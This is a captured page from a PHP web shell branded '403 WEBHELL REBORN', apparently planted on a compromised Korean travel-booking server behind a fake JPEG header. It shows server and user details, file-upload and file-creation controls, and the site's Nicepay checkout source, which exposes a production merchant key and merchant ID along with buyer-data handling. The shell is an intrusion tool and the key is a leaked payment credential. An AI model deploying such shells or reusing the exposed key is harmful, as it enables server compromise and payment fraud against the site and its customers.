ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/ty_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/ty_test/card.php
<?php
/*
 * 나이스페이 결제
 *
 * 작성자 :
 * 작성일 : 2022.3
 */

function _e($w){
    return $w;
}

// 키만 별도 세팅
$cf['pg']['nice']['tktravel1m'] = "mW1r6ggFYVl+cCv9gngBmAWNjfCnotcUJx8RNOhVYfdGm0EF8Qtwc3ZpDq3aCRAPvHNwr3VgzAsOL7M5jR0KAw==";
$cf['pg']['nice']['merchantID'] = "tktravel1m";// 상점아이디 국내용

//테스트용
//$cf['pg']['nice']['tktravel1m'] = "23M3fkmdmWbJeSrC9vNZT4i8c0da+RxE/4rWXXuueBsQOEe6s6EUo3XOJyz9naJm3gtCc7OKgpKyPKByExIRjw==";
//$cf['pg']['nice']['merchantID'] = "nictes999m";// 상점아이디 국내용

$cf['pg']['nice']['merchantKey'] = $cf['pg']['nice']['tktravel1m'];
$cf['pg']['nice']['currency'] = "USD";
$cf['pg']['nice']['lang'] = "KO";


/******************************************************
 * <결제요청 파라미터>
 ******************************************************/

$merchantKey	= $cf['pg']['nice']['merchantKey']; // 상점키
$MID			= $cf['pg']['nice']['merchantID']; // 상점아이디
$price			= $total_pay_real; // 결제상품금액
$buyerID		= $TO_MB['mb_id']; // 구매자ID
$buyerName		= $TO_MB['mb_nm']; // 구매자명
$buyerTel		= $TO_MB['mb_phone']; // 구매자연락처
$buyerEmail		= $TO_MB['mb_email']; // 구매자메일주소
$moid			= $res_no; // 상품주문번호
$returnURL		= $cf['url_ssl']."/ty_test/tour_order_niceResult.html"; // 결과페이지, 모바일 전용
$CurrencyCode	= "USD"; // 결제화폐단위(KRW,USD,CNY)
$CurrencyCode	= "KRW"; // 결제화폐단위(KRW,USD,CNY)
$NpLang			= $cf['pg']['nice']['lang']; // 결제창언어(EN,CN,KO)

//테스트 임시로 결제할 가격
$price = 100; //1달러
$total_pay_real = 100; //1달러

/******************************************************
 * <해쉬암호화> (수정하지 마세요)
 * SHA-256 해쉬암호화는 거래 위변조를 막기위한 방법입니다.
 ******************************************************/
$ediDate = date("YmdHis");
$hashString = bin2hex(hash('sha256', $ediDate.$MID.$price.$merchantKey, true));


?>

<script src="/js/library/jquery-3.1.1.min.js"></script>

<!-- [PC Only] Nicepay 결제모듈 Script -->
<script src="https://web.nicepay.co.kr/v3/webstd/js/nicepay-3.0.js" type="text/javascript"></script>

<style>
    #payTypeCreditCardLabel,#payTypeDespositWithoutBankBookLabel,#payTypeKakaoLabel,#payTypeNaverLabel,#payTypeWXPayLabel,#payTypeAlipayLabel{float:left;width:96px !important;position:relative;top:-1px;margin-right:10px;text-align:center;padding:10px 0;cursor:pointer}

    #payTypeCreditCard,#payTypeDespositWithoutBankBook,#payTypeKakao,#payTypeNaver,#payTypeWXPay,#payTypeAlipay{display:none}
    #payTypeCreditCardLabel,#payTypeDespositWithoutBankBookLabel,#payTypeWXPayLabel,#payTypeAlipayLabel{border:1px solid #d6d6d6;color:#999999;margin-top:3px;}
    #payTypeKakaoLabel,#payTypeNaverLabel{border:1px solid #d6d6d6;margin-top:3px;color:#d6d6d6}
    #payTypeKakaoLabel img,#payTypeNaverLabel img{width:50px;filter:grayscale(100%);opacity:50%}
    #payTypeKakaoLabel img{width:60px}
    #payTypeKakaoLabel{padding:8px 0}

    #payTypeCreditCard:checked + label,#payTypeDespositWithoutBankBook:checked + label,#payTypeAlipay:checked + label,#payTypeWXPay:checked + label{color:#353535;border:1px solid #ff5722}
    #payTypeKakao:checked + label img, #payTypeNaver:checked + label img{;filter:grayscale(0%);opacity:100%}
    #payTypeKakao:checked + label, #payTypeNaver:checked + label{border:1px solid #ff5722}


    #payTypeWXPayLabel img{filter:grayscale(100%);opacity:50%;}
    #payTypeAlipayLabel img{filter:grayscale(100%);opacity:50%;}
    #payTypeWXPay:checked + label img{filter:grayscale(0%);opacity:100%}
    #payTypeAlipay:checked + label img{filter:grayscale(0%);opacity:100%}

</style>

<body>

<!-- container -->
<div id="container">
    <div id="contBody">

        <!-- contents -->
        <div id="contents">


            <div class="contents_wrap">
                <!-- 내용 -->

                <div class="reserve_wrap" >
                    <h5><?=_e("상품정보");?></h5>
                    <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="예약번호, 상푸타입, 상품명, 출발일, 상품금액 및 결제금액을 확인하실 수 있습니다." class="table_t mb30">
                        <caption>결제상품정보</caption>
                        <colgroup>
                            <col width="150px" />
                            <col width="130px" />
                            <col width="*" />
                            <col width="100px" />
                            <col width="150px" />
                        </colgroup>

                        <thead>
                        <tr>
                            <th scope="col"><?=_e("예약번호");?></th>
                            <th scope="col"><?=_e("상품타입");?></th>
                            <th scope="col"><?=_e("상품명");?></th>
                            <th scope="col"><?=_e("날짜");?></th>
                            <th scope="col"><?=_e("상품금액");?></th>
                        </tr>
                        </thead>

                        <tbody>
                        <?
                        for($i=0 ; $i<count($data) ;$i++)
                        {
                            $row = $data[$i];
                            ?>
                            <tr>
                                <td><?=$row['res_no']?></td><!-- 예약번호 -->
                                <td><?=$row['tab_nm']?></td><!-- 상품타입 -->
                                <td class="name"><?=(($row['good_nm']) ? $row['real_good_nm'].' / '.$row['good_nm'] : $TO_MB['mb_nm'])?></td><!-- 상품명 -->
                                <td><?=$row['d_start']?></td><!-- 출발일(입실일) -->
                                <td class="price"><?=_eunit($row['pre_money_fr'])?></td><!-- 결제금액 -->
                            </tr>
                        <? } ?>
                        </tbody>
                    </table>

                    <? if( $cf['curunit'] != 'KRW')	{ ?>
                        <h5><?=_e("할인 정보");?></h5>
                        <table border="0" cellspacing="0" cellpadding="0" width="100%" class="table_t mb30">
                            <tr>
                                <th style="width:*;"><?=_e("상품명");?></th>
                                <th style="width:140px;"><?=_e("무통장입금액");?></th>
                                <th style="width:35px;"></th>
                                <th style="width:170px;"><?=_e("카드결재시");?></th>
                                <th style="width:35px;"></th>
                                <th style="width:140px;"><?=_e("카드결재금액");?></th>
                            </tr>

                        </table>
                    <? } // curunit != KRW  ?>

                    <!-- POINT TABLE -->
                    <table border="0" cellspacing="0" cellpadding="0" width="100%" class="table_t mb30" style="display:none;">
                        <tr style="display:<?=($set_point['use_yn']!="Y" or !$TO_MB['mb_id'])?"none":""?>;">
                            <th><?=_e('사용가능 포인트');?></th>
                            <td colspan="2"><span class="total_txt" id="item_disp_respoint"><?=number_format($point_tot['cur_point'])?></span>point</td>
                            <th><?=_e('적립예정 포인트');?></th>
                            <td colspan="2"><span class="total_txt" id="item_disp_willpoint">0</span>point</td>
                        </tr>


                        <tr style="display:<?=($set_point['use_yn']!="Y" or !$TO_MB['mb_id'])?"none":""?>;">
                            <th><?=_e('포인트 적립조건');?></th>
                            <td colspan="5" style="text-align:left;">
                                <div>- <?=_e('상품 이용한 다음날을 기준으로 적립합니다.');?></div>
                                <?php if($set_point['point_use_give']=="Y") {?>
                                    <div>-<?=_e('사용하신 포인트도 결제하신 금액에 포함하여 적립해드립니다.');?></div>
                                <?php }?>
                            </td>
                        </tr>

                        <tr>
                            <th><?=_e('결제금액합계');?></th>
                            <td colspan="5">
								<span class="total_price">
									<?=$cf['pay_currency']?><span id="item_good_mny2"><?=$total_pay_final?></span>
								</span>
                                <span class="s_txt_abs">
									<?if($cf['lang']!='ko' && $cf['lang']!='ag'){
                                        echo "<br> * " . _e("상품 결재는 USD로 자동 환산되어 결재가 됩니다.");
                                    }?>
								</span>

                            </td>
                        </tr>

                        </tbody>
                    </table>




                    <!-- 주문정보 입력 form : order_info -->
                    <form name="order_info" id="order_info" method="post" action="tour_order_niceResult.html" accept-charset="euc-kr">
                        <input type="hidden" name="SqlType" id="SqlType"  value="">

                        <!-- 상점파라메터 -->
                        <input type="hidden" name="tour_res_no" value="<?=$tour_res_no?>"><!-- 예약번호 -->
                        <input type="hidden" name="good_point" value="0"><!-- 적립금사용금액 -->
                        <input type="hidden" name="good_point_str" value=""><!-- 적립금사용금액내역 -->

                        <!-- Nicepay 파라메터 -->
                        <input type="hidden" name="PayMethod" value="CARD"><!-- 결제수단 -->


                        <input type="hidden" name="Amt" value="<?=$total_pay_real?>"><!--결제금액-->



                        <input type="hidden" name="MID" value="<?=$MID?>"><!--상점아이디-->
                        <input type="hidden" name="Moid" value="<?=$moid?>"><!--주문번호-->
                        <input type="hidden" name="MallUserID" value="<?=$buyerID?>">

                        <input type="hidden" name="BuyerEmail" value="<?=$buyerEmail?>">
                        <input type="hidden" name="BuyerTel" value="<?=(($res_cust_hp) ? $res_cust_hp : $buyerTel)?>">
                        <input type="hidden" name="ReturnURL" value="<?=$returnURL?>"><!--인증후URL(MobileOnly)-->

                        <input type="hidden" name="GoodsName" value="<?=$good_name?>"><!-- 상품이름 -->
                        <input type="hidden" name="BuyerName" value="<?=$buyerName?>">



                        <!-- Nicepay DirectShow -->
                        <input type="hidden" name="DirectShowOpt" value=""/> <!-- 직접 호출 옵션 -->
                        <input type="hidden" name="NicepayReserved" value=""/> <!-- 나이스페이 복합 옵션 -->
                        <input type="hidden" name="DirectEasyPay" value=""/> <!-- 네이버페이 간편결제 -->
                        <input type="hidden" name="EasyPayMethod" value=""/> <!-- 네이버페이 간편결제 -->

                        <input type="hidden" name="ReqReserved" value=""><!--상점예비-->
                        <input type="hidden" name="LogoImage" value=""><!--로고(94x25)-->
                        <input type="hidden" name="CurrencyCode" value="<?=$CurrencyCode?>"><!--결제화폐단위-->
                        <input type="hidden" name="NpLang" value="<?=$NpLang?>"><!--언어-->
                        <input type="hidden" name="CharSet" value="utf-8"><!--인코딩-->
                        <input type="hidden" name="CardQuota" value="00"><!--할부개월-->
                        <input type="hidden" name="SelectQuota" value=""><!--할부-->
                        <input type="hidden" name="SelectCardCode" value=""><!--할부카드사-->

                        <!-- ETC -->
                        <input type="hidden" name="EdiDate" value="<?=$ediDate?>"/><!-- 전문 생성일시 -->
                        <input type="hidden" name="SignData" value="<?=$hashString?>"/><!-- 해쉬값 -->
                        <input type="hidden" name="RetryURL" value="<?=$retryURL?>"/>


                        <h5><?=_e('예약자 정보');?></h5>
                        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="예약자명, 이메일 및 연락처를 입력합니다." class="table_l mb30">
                            <caption>기본정보</caption>
                            <colgroup>
                                <col width="150px" />
                                <col width="330px" />
                                <col width="150px" />
                                <col width="*" />
                            </colgroup>
                            <thead>
                            <tr>
                                <th scope="row"><label for="mb_nm"><?=_e('예약자명');?></label></th>
                                <td <?=($cf['lang']=='ko') ? 'colspan="3"' : ''?>>
                                    <input type="hidden" name="buyr_name" value="<?=(($res_cust_nm) ? $res_cust_nm : $TO_MB['mb_nm'])?>" /><?=(($res_cust_nm) ? $res_cust_nm : $TO_MB['mb_nm'])?>
                                </td>

                                <?if($cf['lang']!='ko') {?>
                                <th scope="row"><label for="mb_nat_cd"><?=_e('국적');?></label></th>
                                <td><input type="hidden" name="buyr_nation" value="<?=$res_cust_nat_cd?>"/><?=$res_cust_nat_cd?></td>
                            </tr>
                            <? } ?>

                            </thead>
                            <tbody>
                            <tr>
                                <th scope="row"><label for="mb_tel"><?=_e('휴대폰');?></label></th>
                                <td><input type="hidden" name="buyr_tel1" value="<?=$res_cust_hp?>" /><?=$res_cust_hp?></td>
                                <th scope="row"><label for="mb_email">Email</label></th>
                                <td><input type="hidden" name="buyr_mail" value="<?=$TO_MB['mb_email']?>" /><?=$TO_MB['mb_email']?></td>
                            </tr>
                            <? if($res_sns_id) { ?>
                                <tr>
                                    <th scope="row"><label for="mb_sns"><?if($cf['lang']=='ko') {echo "카카오톡 ID";} else {echo "SNS ID";}?></label></th>
                                    <td colspan="3"><input type="hidden" name="buyr_sns" value="<?=$res_sns_id?>" /><?=$res_sns_id?></td>
                                </tr>
                            <? } ?>
                            </tbody>
                        </table>


                        <h5><?=_e('결제 정보');?></h5>
                        <?php
                        if( $cf['curunit'] != 'KRW')	{
                            ?>
                            <!--					<p style="color:red">--><?php //=_e('WeChat Pay가 작동하지 않은 경우 ALIPAY로 진행 부탁드립니다.')?><!--</p>-->
                            <?php
                        }
                        ?>

                        <br>
                        <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="결제방법을 선택합니다." class="table_l mb30">
                            <caption>결제정보</caption>
                            <colgroup>
                                <col width="150px" />
                                <col width="*" />
                            </colgroup>
                            <thead>
                            <tr>
                                <th scope="row"><label for="inst_cd"><?=_e('결제방법');?></label></th>
                                <td class="payment_method">
                                    <? if( $cf['curunit'] == 'KRW')	{ ?>

                                        <input type="radio" name="inst_cd" id="payTypeCreditCard" value="INST002" checked>
                                        <label id="payTypeCreditCardLabel" for="payTypeCreditCard">신용카드</label>

                                        <input type="radio" name="inst_cd" id="payTypeDespositWithoutBankBook" value="INST001">
                                        <label id="payTypeDespositWithoutBankBookLabel" for="payTypeDespositWithoutBankBook">무통장입금</label>

                                        <input type="radio" name="inst_cd" value="INST002" id="payTypeKakao" pay="kakao">
                                        <label id="payTypeKakaoLabel" for="payTypeKakao"><img src="/FileData/logo/kakaoPay.png?s=1" onclick="$('#payTypeKakao').click();" alt="카카오페이"/></label>

                                        <input type="radio" name="inst_cd" value="INST002" id="payTypeNaver" pay="naver">
                                        <label id="payTypeNaverLabel" for="payTypeNaver"><img src="/FileData/logo/naverPay.png" onclick="$('#payTypeNaver').click();" alt="네이버페이" width="82"/></label>

                                    <? } else {
                                        $isShowCash = false;
                                        ?>

                                        <input style="display:none" type="radio" name="inst_cd" id="payTypeWXPay" value="INST010" checked>
                                        <label id="payTypeWXPayLabel" for="payTypeWXPay"><img src="/FileData/logo/wechatpay.png?s=1" onclick="$('#payTypeWXPay').click();" alt="WeChatPay"/></label>

                                        <input style="display:none" type="radio" name="inst_cd" id="payTypeAlipay" value="INST011">
                                        <label id="payTypeAlipayLabel" for="payTypeAlipay"><img src="/FileData/logo/alipay.png?s=1" onclick="$('#payTypeAlipay').click();" alt="Alipay"/></label>

                                        <input type="radio" name="inst_cd" id="payTypeCreditCard" value="INST002">
                                        <label id="payTypeCreditCardLabel" for="payTypeCreditCard">Credit Card</label>

                                        <input type="radio" name="inst_cd" id="payTypeDespositWithoutBankBook" value="INST001">
                                        <label id="payTypeDespositWithoutBankBookLabel" for="payTypeDespositWithoutBankBook">CASH</label>

                                    <? } ?>
                                </td>
                            </tr>
                            </thead>
                            <tbody>
                            <?php
                            $isShowCash = false;
                            ?>
                            <tr id="bank_input" style="display:<?=((isset($isShowCash) && $isShowCash == true) ? 'table-row' : 'none')?>;">
                                <th scope="row"><label for="cust_memo"><?=_e('은행입금정보');?></label></th>
                                <td colspan="3">
                                    <select name="inbk_cd" id="inbk_cd" style="width:440px;margin-bottom:10px">
                                        <?for( $i=0 ; $i<count($data_inbk) ; $i++){
                                            $row_inbk = $data_inbk[$i];

                                            if($cf['lang'] != 'ko'){
                                                if(strpos($row_inbk['cd_nm'],'Hana Bank') !== false){

                                                }else{
                                                    continue;
                                                }
                                            }

                                            ?>
                                            <option value="<?=$row_inbk['code']?>"><?=$row_inbk['cd_nm']?> <?=$row_inbk['cd_memo']?>(<?=_e('예금주');?>: <?=$row_inbk['cd_memo2']?>)</option>
                                        <?}?>
                                    </select><br>
                                    ( <?=_e('입금예정일');?> : <input type="text" name="inbk_dt" id="inbk_dt" class="calendar_input tkw04 mr20" value="<?=date("Y-m-d")?>" readonly onClick="AjaxCal(this,event,{'sdate':'<?=date("Y-m-d")?>'});"> <?=_e('입금자명');?> : <input type="text" name="inbk_innm" id="inbk_innm" class="input_text tkw04" value="<?=$TO_MB['mb_nm']?>" > )
                                </td>
                            </tr>
                            </tbody>
                        </table>

                    </form>

                    <ul class="btn_wrap" id="display_pay_button" style="display:block;">
                        <li class="btn_pay"><a href="javascript:;" onclick="jsf__pay()" ><?=_e('결제하기');?></a></li>
                        <li class="btn_cancel"><a href="/"><?=_e('취소');?></a></li>
                    </ul>


                </div>
            </div>
            <!-- // 내용 -->

        </div>
        <!-- /contents_wrap -->
    </div>
    <!-- /contGen -->
</div>
<!-- /contents -->
</div>
<!-- /contBody -->
</div>
<!-- /container -->


<script type="text/javascript">
    /*
     * 포인트사용기능(2017-01-20)
     */
    var cur_point = 1000;
    var tot_willpoint=0;
    var total_pay = parseInt(<?=$old_total_pay?>);
    var total_pay_fr = parseInt(<?=$total_pay_fr?>);
    var total_pay_final = parseInt(<?=$total_pay_final?>);

    var tot_use_point=0; // point
    var good_mny2 = 0; // good_nmy
    var good_mny2_won = 0; // good_nmy원화

    var good_mny_pay = 0;

    // 결제 처리 __formCheckAllow > jsp__pay
    function jsf__pay()
    {
        var RetVal = false;
        var mpay = "";
        var inst_cd = $("input:radio[name='inst_cd']:checked").val();
        var pay = $("input:radio[name='inst_cd']:checked").attr('pay');
        var form = document.order_info;


        if(inst_cd == 'INST001') {
            mpay = "bankin";
        } else if(inst_cd == 'INST002') {
            mpay = "card";
        } else if(inst_cd == 'INST010') {
            mpay = "wxpay"; // wechat pay
        } else if(inst_cd == 'INST011') {
            mpay = "alipay"; // alipay
        } else {
            alert("<?=_e('결제수단이 바르지 않습니다.');?>");
            return;
        }


        console.log('mpay is ' + mpay);


        if(mpay=="card") { // 카드결제

            // 간편결제 (카카오페이, 네이버페이)
            form.elements['DirectShowOpt'].value = '';
            form.elements['DirectEasyPay'].value = '';

            form.elements['ReturnURL'].value = '<?=$returnURL?>';
            form.elements['MID'].value = '<?=$MID?>';

            $("form#order_info").attr("action","tour_order_niceResult.html");

            try
            {
                // PC 결제창 진입
                goPay(form);
            }
            catch (e)
            {
                /* IE 에서 결제 정상종료시 throw로 스크립트 종료 */
            }
        }
        else if(mpay=="bankin") { // 무통장 입금

            if(!$("#inbk_dt").val()) {
                alert("<?=_e('입금예정일자를 입력하세요.');?>");
                $("#inbk_dt").focus();
                return;
            }

            if(!$("#inbk_innm").val()) {
                alert("<?=_e('입금자명을 입력하세요.');?>");
                $("#inbk_innm").focus();
                return;
            }

            if(!confirm("<?=_e('입금예약 하시겠습니까?');?>\n<?=_e('계좌입금하신후 연락 부탁 드립니다.');?>")) return;

            objCenter("loading","on");//중앙에 보이기.
            setTimeout("ajax_loader_to('tour_order_proc.html','ajax_proc')",100);

            $("#SqlType").val("bank_in");
            $("form#order_info").attr("action","tour_order_proc.html");

            $("form#order_info").submit();
            return;
        }

    }

    //[PC Only] 결제 최종 요청시 실행됩니다. <<'nicepaySubmit()' 이름 수정 불가능>>
    function nicepaySubmit(){
        document.order_info.submit();
    }

    //[PC Only] 결제창 종료 함수 <<'nicepayClose()' 이름 수정 불가능>>
    function nicepayClose(){
        alert("결제가 취소 되었습니다");
    }

    function goodCheckPoint()
    {
        tot_use_point=0; // 사용포인트
        tot_willpoint=0; // 적립예정포인트

        $(".item_use_point2").each(function(){
            var pre_money = parseInt($(this).attr("pre_money"));
            var point_yn = $(this).attr("point_yn");
            var point_buy1 = parseInt($(this).attr("point_buy1"));
            var point_buy2 = parseInt($(this).attr("point_buy2"));
            var point_use_give = '<?=$set_point['point_use_give']?>';
            var payprice=0, msg='', flag=true;
            var pre_money_fr = parseInt($(this).attr("pre_money_fr"));

            var use_point = parseInt($(this).val().replace(/,/g,''));

            if( isNaN(use_point)) {
                alert('포인트결제금액이 유효하지않습니다.');
                $(this).val(0);
                use_point=0;
            }

            var willpoint = 0; // 적립예정포인트

            payprice = pre_money_fr - use_point; // 결제금액

            $(this).parent().parent().parent().find(".item_disp_payprice").html(payprice.toString());


            // 포인트 적립 유무
            if(point_yn=="Y" && point_buy1>0 && point_buy2>0) {
                if(point_use_give=="Y") { // 적립금 사용시 추가 적립
                    willpoint = Math.round((pre_money/point_buy1)*point_buy2);
                }else{
                    willpoint = Math.round((payprice/point_buy1)*point_buy2);
                }
            }else{
                willpoint = 0;
            }

            tot_use_point += use_point;
            tot_willpoint += willpoint;
        });

        if (tot_use_point > cur_point) {
            alert('포인트결제금액이 유효하지 않습니다.');
            $(".item_use_point2").val('0');
            goodCheckPoint();
            return;
        }

        var rest_point = cur_point - tot_use_point; // 잔여포인트

        good_mny2_won = total_pay - tot_use_point;

        //외화는 적립금 사용안함
        good_mny2 = total_pay_final - tot_use_point;

        good_mny_pay = good_mny2;

        $("#item_disp_respoint").html((rest_point.toString()));
        $("#item_disp_willpoint").html((tot_willpoint.toString()));
        $("#item_good_mny2").html((good_mny2.toString()));
    }

    <?php /*주의 : 로직변경시에 (모바일)사용자 js(mypage/tour_order.html)&common.class.php의 checkPointMember도 같이변경 해 줘야함	*/?>
    var point_use_min = parseInt('<?=$set_point['point_use_min']?>');
    var point_use_order_min = parseInt('<?=$set_point['point_use_order_min']?>'); // 결제가능 최소 구매금액
    var point_use_max_type = '<?=$set_point['point_use_max_type']?>';
    var point_use_max_won = parseInt('<?=$set_point['point_use_max_won']?>');
    var point_use_max_per =  parseInt('<?=$set_point['point_use_max_per']?>');

    function goodPointSetChk()
    {
        var flag = true;
        var msg = '';

        if(tot_use_point==0) return;

        if(tot_use_point > cur_point && flag==true) {
            msg = cur_point+' 이상 사용하실수 없습니다.';
            flag = false;
        }

        if(total_pay < tot_use_point && flag==true) {
            msg = '결제금액을 초과하였습니다.';
            flag = false;
        }

        // 결제가능 최소 구매금액 체크
        if(point_use_order_min > total_pay && flag==true) {
            msg = '결제금액 '+(point_use_order_min.toString())+'원 이상 부터 적립금 사용하실수 있습니다';
            flag = false;
        }

        //if(tot_use_point < point_use_min && point_use_min>0 && flag==true) {
        //	msg = '적립금은 '+number_format(point_use_min.toString())+'원 이상부터 사용가능합니다.';
        //	flag = false;
        //}

        // 포인트중 xx원 이하만 사용가능
        if(point_use_max_won < tot_use_point && point_use_max_type=='1' && point_use_max_won>0 && flag==true) {
            msg = '적립금중  '+(point_use_max_won.toString())+'원 이하만 사용가능합니다.';
            flag = false;
        }

        // 결제금액의 xx%이하 결제
        if(point_use_max_per>0 && point_use_max_type=='2' && flag==true) {
            var total_dpay = Math.round(total_pay*(point_use_max_per/100)); // 퍼센트 환산
            if( total_dpay < point ) {
                msg = '결제가능 최대 적립금은 '+(total_dpay.toString())+'입니다.';
            }
        }

        if(flag==false) {
            alert(msg);
            $(".item_use_point2").val(0);
            goodCheckPoint();
        }

    }

    // 폼체크시에 체크f
    function goodPointSetChk2()
    {
        var flag = true;
        var msg = '';

        if(tot_use_point==0) return true;

        if(tot_use_point < point_use_min && point_use_min>0 ) {
            msg = '적립금은 '+(point_use_min.toString())+'원 이상부터 사용가능합니다.';
            flag = false;
        }

        if(flag==false) {
            alert(msg);
            $(".item_use_point2").val(0);
            goodCheckPoint();
            return false;
        }
    }

    $(document).ready(function(){
        $("input[name=inst_cd]").change(function() {
            var radioValue = $(this).val();

            if (radioValue == "INST001") {
                $("#bank_input").show();
            } else {
                $("#bank_input").hide();
            }
        });

        $(".item_use_point2").on("blur",function(){
            goodCheckPoint();
            goodPointSetChk();
        });

        goodCheckPoint();
    });
</script>



Anon7 - 2021